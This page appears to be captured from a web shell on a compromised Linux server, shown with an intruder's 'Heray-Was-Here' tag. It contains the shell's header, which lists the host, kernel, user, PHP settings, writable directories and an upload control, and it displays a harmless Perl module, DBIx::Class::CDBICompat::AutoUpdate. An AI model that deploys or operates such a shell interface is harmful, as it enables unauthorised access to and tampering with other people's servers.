Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/share/perl5/vendor_perl/DBIx/Class/CDBICompat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/share/perl5/vendor_perl/DBIx/Class/CDBICompat/AutoUpdate.pm
package # hide from PAUSE
    DBIx::Class::CDBICompat::AutoUpdate;

use strict;
use warnings;

use base qw/Class::Data::Inheritable/;

__PACKAGE__->mk_classdata('__AutoCommit');

sub set_column {
  my $self = shift;
  my $ret = $self->next::method(@_);
  $self->update if ($self->autoupdate && $self->{_in_storage});
  return $ret;
}

sub autoupdate {
        my $proto = shift;
        ref $proto
          ? $proto->_obj_autoupdate(@_)
          : $proto->_class_autoupdate(@_) ;
}

sub _obj_autoupdate {
        my ($self, $set) = @_;
        my $class = ref $self;
        $self->{__AutoCommit} = $set if defined $set;
        defined $self->{__AutoCommit}
                ? $self->{__AutoCommit}
                : $class->_class_autoupdate;
}

sub _class_autoupdate {
        my ($class, $set) = @_;
        $class->__AutoCommit($set) if defined $set;
        return $class->__AutoCommit;
}

1;

Hry